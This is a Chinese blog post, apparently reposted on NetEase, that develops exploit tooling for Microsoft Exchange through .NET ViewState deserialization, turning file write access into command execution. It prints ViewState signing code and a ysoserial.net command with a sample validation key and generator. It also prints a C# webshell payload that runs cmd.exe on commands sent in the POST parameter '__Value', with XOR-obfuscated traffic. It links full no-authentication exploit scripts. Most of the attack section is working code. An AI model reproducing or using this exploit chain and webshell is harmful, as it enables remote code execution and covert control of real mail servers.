网易首页 > 网易号 > 正文 申请入驻

DotNet反序列化——生成ViewState的程序实现

0
分享至

在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节,本文将要具体分析生成ViewState的细节,介绍另外一种实现从Exchange文件读写权限到命令执行的脚本开发细节。

参考资料:

http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

https://github.com/pwntester/ysoserial.net

0x01 简介

本文将要介绍以下内容:

·两种生成ViewState的实现方法

·另外一种利用脚本开发的细节

·开源代码

0x02 背景知识

1.DotNet反序列化ViewState的实现原理

如果能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够构造出有效的序列化数据。如果将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter进行反序列化调用委托时,就能实现远程代码执行。

2.ViewState的生成流程

使用validationkey和generator作为参数,对序列化xaml数据进行签名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容

直观理解:

data = Serialize(xaml)

ViewState = data + (data+generator).ComputeHash(validationKey)

ViewState = Base64(ViewState)

加密细节可参考:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255

https://github.com/0xacb/viewgen/blob/master/viewgen#L156

具体细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数

0x03 两种生成ViewState的实现方法

测试环境:

获得了Exchange文件读写权限,能够修改和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下:

对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据

下面介绍两种生成ViewState的程序实现方法

1.从xaml数据生成ViewState

流程如下:

1. 构造xaml数据

2. 生成序列化xaml数据

3. 生成签名数据

4. 拼接序列化xaml数据和签名数据后作Base64编码

(1)构造xaml数据

这里介绍4种,分别对应4个功能

执行命令:

写文件:

注:需要注意xaml的转义字符。

设置Header:

设置Response:

(2)生成序列化xaml数据

需要用到Microsoft.PowerShell.Editor.dll

(3)生成签名数据

参考代码:

byte[] validationKey= strToToHexByte(key);

uint _clientstateid = 0;

// Converting "generator" from HEX to INT

if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))

System.Environment.Exit(0);

byte[] _mackey = new byte[4];

_mackey[0] = (byte)_clientstateid;

_mackey[1] = (byte)(_clientstateid >> 8);

_mackey[2] = (byte)(_clientstateid >> 16);

_mackey[3] = (byte)(_clientstateid >> 24);

ms = new MemoryStream();

ms.Write(data,0,data.Length);

ms.Write(_mackey,0,_mackey.Length);

byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

注:代码修改自https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs#L253

(4)拼接序列化xaml数据和签名数据后作Base64编码

调用Convert.ToBase64String()即可。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/XamlToViewState.cs

代码能够读取xaml文件,使用validationkey和generator计算签名,生成最终的ViewState。

优点:流程清晰,便于调试和修改细节。

缺点:需要依赖中间文件Microsoft.PowerShell.Editor.dll,占用空间。

注:

该方法的完整利用文件已打包上传至github,地址如下:

https://github.com/3gstudent/test/blob/master/XamlToViewState.zip

2.从序列化xaml数据生成ViewState

借助ysoserial.net跳过从xaml数据到序列化xaml数据的环节,提高开发效率。

流程如下:

(1)修改ysoserial.net源码,直接读取可用的序列化xaml数据

在https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L209添加如下代码:

Console.WriteLine(payloadString);

Console.WriteLine("The content above is what we need");

Console.WriteLine("-----------");

能够在控制台输出Base64编码的序列化xaml数据。

编译ysoserial.net,生成ysoserial.exe,在同级目录新建shellPayload.cs,内容如下:

class E

{

static string xor(string s) {

char[] a = s.ToCharArray();

for(int i = 0; i < a.Length; i++)

a[i] = (char)(a[i] ^ 'x');

return new string(a);

}

public E()

{

System.Web.HttpContext context = System.Web.HttpContext.Current;

context.Server.ClearError();

context.Response.Clear();

try

{

System.Diagnostics.Process process = new System.Diagnostics.Process();

process.StartInfo.FileName = "cmd.exe";

string cmd = context.Request.Form["__Value"];

cmd = xor(cmd);

process.StartInfo.Arguments = "/c " + cmd;

process.StartInfo.RedirectStandardOutput = true;

process.StartInfo.RedirectStandardError = true;

process.StartInfo.UseShellExecute = false;

process.Start();

string output = process.StandardOutput.ReadToEnd();

output = xor(output);

context.Response.Write(output);

} catch (System.Exception) { }

context.Response.Flush();

context.Response.End();

}

}

使用ysoserial.exe生成ViewState,命令如下:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

从输出中获得Base64编码的序列化xaml数据。

(2)计算序列化xaml数据的签名,生成最终的ViewState数据

代码如下:

static string CreateViewState(byte[] dat,string generator,string key)

{

MemoryStream ms = new MemoryStream();

byte[] validationKey= strToHexByte(key);

uint _clientstateid = 0;

if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))

{

System.Environment.Exit(0);

}

byte[] _mackey = new byte[4];

_mackey[0] = (byte)_clientstateid;

_mackey[1] = (byte)(_clientstateid >> 8);

_mackey[2] = (byte)(_clientstateid >> 16);

_mackey[3] = (byte)(_clientstateid >> 24);

ms = new MemoryStream();

ms.Write(dat,0,dat.Length);

ms.Write(_mackey,0,_mackey.Length);

byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

ms=new MemoryStream();

ms.Write(dat,0,dat.Length);

ms.Write(hash,0,hash.Length);

return Convert.ToBase64String(ms.ToArray());

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SerializeXamlToViewState.cs

代码实现了从序列化xaml数据计算签名,生成最终的ViewState数据。

优点:占用空间更小,可以直接使用ysoserial.net已有的Payload。

缺点:调试和修改比较麻烦。

注:以上两种实现方法的CreateViewState()函数在细节上存在区别,需要注意。

0x04 另外一种利用脚本开发的细节

用来实现从Exchange文件读写权限到命令执行。

参照https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs的结构,将序列化xaml数据封装在数组中,使用validationkey和generator作为参数,对序列化xaml数据进行签名,组成最终的ViewState内容。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs

代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx

代码首先发送ysoserial.net实现ActivitySurrogateDisableTypeCheck的数据,接着能够执行命令并获得命令执行的结果,通过POST方式以参数__Value发送数据,通信数据采用逐字符异或加密。

支持的功能同ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py保持一致。

0x05 小结

本文分析了生成ViewState的细节,介绍了两种生成ViewState的程序实现方法,编写代码实现了另外一种从Exchange文件读写权限到命令执行的利用脚本。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
排名第一!华为Mate 70 Pro+获中国电信大众直连卫星手机五星评价

排名第一!华为Mate 70 Pro+获中国电信大众直连卫星手机五星评价

快科技
2024-12-04 15:37:13
瓜迪奥拉肯定不会承认,到现在为止,他放走了一位最关键的球员

瓜迪奥拉肯定不会承认,到现在为止,他放走了一位最关键的球员

老乐说球
2024-12-04 09:19:13
12月5日成都混团赛程出炉 ,国乒战韩国!中央5套直播乒乓球焦点战

12月5日成都混团赛程出炉 ,国乒战韩国!中央5套直播乒乓球焦点战

小果趣味体育
2024-12-04 16:56:46
快船官方:鲍威尔因伤病管理将缺席背靠背对阵森林狼的比赛

快船官方:鲍威尔因伤病管理将缺席背靠背对阵森林狼的比赛

直播吧
2024-12-05 05:40:23
悲催!网传深圳一电子厂因房租上涨13%被迫搬厂,离职没有补偿…

悲催!网传深圳一电子厂因房租上涨13%被迫搬厂,离职没有补偿…

火山诗话
2024-12-04 18:12:53
浙江狂轰159分:狂胜吉林47分+单节50分+替补109分 刷爆纪录

浙江狂轰159分:狂胜吉林47分+单节50分+替补109分 刷爆纪录

醉卧浮生
2024-12-04 21:51:25
广州楼市全军覆没,广州天河区房价从4.7万涨至6.5万

广州楼市全军覆没,广州天河区房价从4.7万涨至6.5万

有事问彭叔
2024-12-04 17:35:06
广东一官员梦想“退休后好好享受”,没想到最后却...

广东一官员梦想“退休后好好享受”,没想到最后却...

粤西生活圈
2024-12-04 16:36:19
即将重返白宫的特朗普更没想到!马斯克想了三天三夜也想不明白

即将重返白宫的特朗普更没想到!马斯克想了三天三夜也想不明白

玲子日记
2024-12-04 15:36:12
执教曼联首败!阿莫林垂头丧气 34场不败被终结 真打不过阿森纳

执教曼联首败!阿莫林垂头丧气 34场不败被终结 真打不过阿森纳

念洲
2024-12-05 06:34:36
扒李庚希老底:爸爸李大治到底有多牛,牛到张兰都想高攀?

扒李庚希老底:爸爸李大治到底有多牛,牛到张兰都想高攀?

长歌侃娱
2024-12-02 16:45:24
韩总统夫人引爆戒严事件?尹锡悦“护妻骚操作”惹怒民众:我老婆无辜啊都累瘦了!

韩总统夫人引爆戒严事件?尹锡悦“护妻骚操作”惹怒民众:我老婆无辜啊都累瘦了!

英国报姐
2024-12-04 19:43:21
《我是刑警》张克寒伏法!秦川被公安部看重?难怪能成省厅的厅长

《我是刑警》张克寒伏法!秦川被公安部看重?难怪能成省厅的厅长

宇林网络
2024-12-05 00:01:29
热闻|又是角球!阿森纳2-0曼联取得英超3连胜,2粒角球进球送阿莫林首败!

热闻|又是角球!阿森纳2-0曼联取得英超3连胜,2粒角球进球送阿莫林首败!

齐鲁壹点
2024-12-05 07:25:29
才女张爱玲:任何一个男人接近你,和你聊天,不是为了哄你开心

才女张爱玲:任何一个男人接近你,和你聊天,不是为了哄你开心

清风拂心
2024-11-07 17:21:53
鹈鹕解约锡安1亿大合同?疯了,太扯淡了……

鹈鹕解约锡安1亿大合同?疯了,太扯淡了……

篮球实战宝典
2024-12-04 23:11:40
揭秘女性性生活欲望强烈的四大原因

揭秘女性性生活欲望强烈的四大原因

智见派
2024-07-06 16:33:34
老百姓太难!年检新增OBD检测,这是要老车报废的节奏?

老百姓太难!年检新增OBD检测,这是要老车报废的节奏?

沙雕小琳琳
2024-12-03 19:12:27
交通部正酝酿取消强制车检?车主:强烈支持!

交通部正酝酿取消强制车检?车主:强烈支持!

深度知局
2024-12-04 18:43:11
鲍威尔表示,美国债务正走在不可持续的道路上,美联储在设定利率时从不考虑债务水平

鲍威尔表示,美国债务正走在不可持续的道路上,美联储在设定利率时从不考虑债务水平

每日经济新闻
2024-12-05 05:26:07
2024-12-05 07:43:00
嘶吼RoarTalk
嘶吼RoarTalk
不一样的互联网安全新视界
7647文章数 10521关注度
往期回顾 全部

科技要闻

传苹果与百度开发中国版AI功能遇阻

头条要闻

琼瑶去世前有征兆 上月曾连发两篇文章"忆亡夫"

头条要闻

琼瑶去世前有征兆 上月曾连发两篇文章"忆亡夫"

体育要闻

哈登,我不做大哥好多年

娱乐要闻

琼瑶在家中自杀离世,千字遗书曝光

财经要闻

牛市的悲歌

汽车要闻

表现够全能 柴油版二代哈弗H9或许更适合家用

态度原创

家居
游戏
数码
旅游
军事航空

家居要闻

意式轻奢 和风兰庭

魔兽世界:离大谱!硬核服满级号无人问津,化石合剂价格飙升

数码要闻

苹果CEO库克:从来没有考虑过Apple Intelligence收费问题

旅游要闻

兰州“曼哈顿”火爆出圈,大量游客前往打卡

军事要闻

德国总理:向乌克兰派兵“绝无可能”

无障碍浏览 进入关怀版